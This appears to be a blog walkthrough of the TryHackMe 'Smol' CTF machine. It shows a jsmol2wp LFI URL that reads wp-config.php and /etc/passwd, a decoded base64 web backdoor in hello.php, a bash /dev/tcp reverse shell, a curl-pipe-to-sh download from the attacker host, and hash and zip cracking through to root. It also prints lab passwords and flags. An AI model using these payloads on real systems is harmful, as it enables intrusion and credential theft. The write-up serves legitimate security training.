Skip to main content
Back to blogs
CTF TryHackMe Smol WordPress LFI RCE Reverse Shell JohnTheRipper Privilege Escalation Linux

Smol CTF Walkthrough

10 min read

Welcome to Smol

Welcome back hackers! Today we are tackling Smol, a multi-stage Linux box that tests your web exploitation, PHP deobfuscation, password cracking, and lateral pivoting skills.

This machine takes us through a rabbit hole of vulnerable WordPress plugins, Local File Inclusion (LFI), a stealthy backdoor hidden inside a classic plugin, database password cracking, SSH key pivoting, and cracking password-protected archives to grab root.

Let’s dive right into the terminal!

Mr Robot Intro


1. Reconnaissance & Port Scanning

We start by firing up Nmap to discover open ports and running services on the target IP (10.49.155.175):

nmap -sV 10.49.155.175
Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-11 22:27 +0530
Nmap scan report for www.smol.thm (10.49.155.175)
Host is up (0.073s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings:

  • Port 22 (SSH): OpenSSH 8.2p1 on Ubuntu.
  • Port 80 (HTTP): Apache 2.4.41 serving a website with hostname www.smol.thm.

Before poking around port 80 in our browser, let’s map the domain name to our /etc/hosts file:

echo "10.49.155.175 www.smol.thm smol.thm" | sudo tee -a /etc/hosts

Now let’s run Gobuster to discover web directories:

gobuster dir -u http://www.smol.thm/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
===============================================================
.htaccess            (Status: 403) [Size: 277]
.htpasswd            (Status: 403) [Size: 277]
index.php            (Status: 301) [Size: 0] [--> http://www.smol.thm/]
server-status        (Status: 403) [Size: 277]
wp-admin             (Status: 301) [Size: 315] [--> http://www.smol.thm/wp-admin/]
wp-content           (Status: 301) [Size: 317] [--> http://www.smol.thm/wp-content/]
wp-includes          (Status: 301) [Size: 318] [--> http://www.smol.thm/wp-includes/]
xmlrpc.php           (Status: 405) [Size: 42]
===============================================================

The site is clearly running WordPress!


2. WordPress Enumeration & LFI Exploitation

Let’s use WPScan to enumerate installed WordPress plugins:

wpscan --url http://www.smol.thm --enumerate p

WPScan Plugin Enumeration

WPScan flags two interesting plugins:

  1. jsmol2wp
  2. hello-dolly

A quick search on jsmol2wp reveals a known Local File Inclusion / SSRF vulnerability in its data fetching handler jsmol.php. The script allows fetching server-side files via the query parameter when isform=true and call=getRawDataFromDatabase are supplied.

Let’s test this LFI vector by attempting to read wp-config.php using the PHP filter wrapper:

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

It works! The browser dumps the raw contents of wp-config.php:

define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

We now have valid database credentials:

  • Database User: wpuser
  • Database Password: kbLSF2Vop#lw3rjDZ629*Z%G

Next, let’s read /etc/passwd to enumerate existing Linux users on the system:

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../../../../etc/passwd

Filtering through the user list gives us several target accounts with login shells:

  • root
  • think
  • xavi
  • diego
  • gege
  • ubuntu

3. Analyzing the Backdoored Plugin & Gaining RCE

Now let’s inspect the second plugin, hello-dolly, using our LFI:

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../hello.php

Looking closely at hello.php, we spot something extremely suspicious inside the hello_dolly() function:

function hello_dolly() {
    eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
    ...

Look at that sneaky eval(base64_decode(...)) statement! Let’s decode the base64 string:

echo "CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=" | base64 -d
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

Let’s translate those octal and hexadecimal escape characters:

  • \143 = c
  • \155 or \x6d = m
  • \x64 or \144 = d

The line translates directly to:

if (isset($_GET["cmd"])) { system($_GET["cmd"]); }

Someone planted an intentional web backdoor inside the Hello Dolly plugin that executes any command passed to the cmd parameter!

Mr Robot Hacking

Popping a Reverse Shell

To get a stable shell, let’s create a reverse shell script named payload.sh on our attacker machine:

#!/bin/bash
bash -i >& /dev/tcp/10.48.X.X/4444 0>&1

Start a Python web server on port 8000:

python3 -m http.server 8000

Start a Netcat listener on port 4444:

nc -lvnp 4444

Now send the command injection payload to hello.php through the web browser:

http://www.smol.thm/wp-content/plugins/hello.php?cmd=curl%2010.48.X.X:8000/payload.sh%20|%20sh

Check your listener: shell popped! We have initial access as www-data.

Let’s stabilize our shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

4. Database Extraction & Cracking Hashes (User 1: Diego)

With a shell as www-data, we can log into the local MySQL database using the credentials we recovered from wp-config.php:

mysql -u wpuser -p'kbLSF2Vop#lw3rjDZ629*Z%G' wordpress

Let’s dump the users and password hashes from the wp_users table:

SELECT ID, user_login, user_email, user_pass FROM wp_users;

MySQL wp_users Table

We obtain WordPress phpass hashes for the accounts:

think:$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
gege:$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
diego:$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
xavi:$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1

Save these hashes into a file named hashes.txt on your local attack machine and run John the Ripper using rockyou.txt:

john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

In a matter of seconds, John cracks the password for user diego:

sandiegocalifornia (diego)

Now switch to user diego inside our shell:

su diego
# Password: sandiegocalifornia
whoami
# Output: diego

Let’s grab the user flag from Diego’s home directory:

cat /home/diego/user.txt

User Flag 1: 45edaec653ff9ee06236b7ce72b86963


5. Horizontal Lateral Movement: Diego to Think to Gege

Now that we are diego, let’s enumerate the other home directories.

Checking inside /home/think/.ssh, we discover a readable private SSH key:

cat /home/think/.ssh/id_rsa

Copy the private key block onto your local machine, save it as secretKey, and lock down its permissions:

chmod 600 secretKey

Now SSH directly into the box as user think:

ssh -i secretKey think@10.49.155.175

SSH as Think and Su to Gege

Once logged in as think, we test switching users. Remarkably, switching to user gege requires no password at all:

su gege
whoami
# Output: gege

We have pivoted across three distinct accounts!


6. Cracking the Encrypted Backup & Finding Xavi’s Password

Looking around the system while logged in as gege, we find an interesting backup archive: wordpress.old.zip.

Let’s transfer this file back to our local machine for analysis. On the target machine:

python3 -m http.server 8888

On our attack machine:

wget http://10.49.155.175:8888/wordpress.old.zip

When we try to extract wordpress.old.zip, it asks for a password. Let’s extract the password hash using zip2john:

zip2john wordpress.old.zip > hashthis.txt

Now let’s crack the zip hash using John the Ripper and rockyou.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt hashthis.txt
Loaded 1 password hash (PKZIP [32/64])
hero_gege@hotmail.com (wordpress.old.zip)
1g 0:00:00:00 DONE 

The password to unlock the archive is: hero_gege@hotmail.com!

Let’s unzip the archive with this password:

unzip -P 'hero_gege@hotmail.com' wordpress.old.zip

Inside the extracted backup folder, inspect wp-config.php:

cat wordpress.old/wp-config.php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** Database username */
define( 'DB_USER', 'xavi' );

/** Database password */
define( 'DB_PASSWORD', 'P@ssw0rdxavi@' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

Aha! We found hardcoded credentials for user xavi:

  • User: xavi
  • Password: P@ssw0rdxavi@

7. Privilege Escalation to Root

Now let’s switch to user xavi:

su xavi
# Password: P@ssw0rdxavi@
whoami
# Output: xavi

Let’s check Xavi’s sudo privileges:

sudo -l

Sudo Sudo -i Root Flag

Look at that glorious output:

Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL

User xavi has unrestricted sudo privileges on all commands!

Let’s escalate to root instantly:

sudo -i
whoami
# Output: root

Now grab the root flag:

cat /root/root.txt

Root Flag: bf89ea3ea01992353aef1f576214d4e4

Box owned!


Key Takeaways

  1. Audit WordPress Plugins for LFI/SSRF: Plugins like jsmol2wp that blindly accept resource parameters can expose sensitive configuration files like wp-config.php and /etc/passwd.
  2. Deobfuscate Suspicious Plugin Code: Backdoors hidden in well-known plugins (like hello.php) often use base64 and octal escape sequences to mask command execution calls like system($_GET["cmd"]).
  3. Password Hygiene on Backups: Never leave password-protected backup archives on production systems using predictable passwords from wordlists.
  4. Principle of Least Privilege: Giving wildcard (ALL : ALL) ALL sudo permissions without authentication restrictions turns any credential leak into an instant root compromise.

See you in the next walkthrough!

Discussion (0)

Loading comments...

Leave a Comment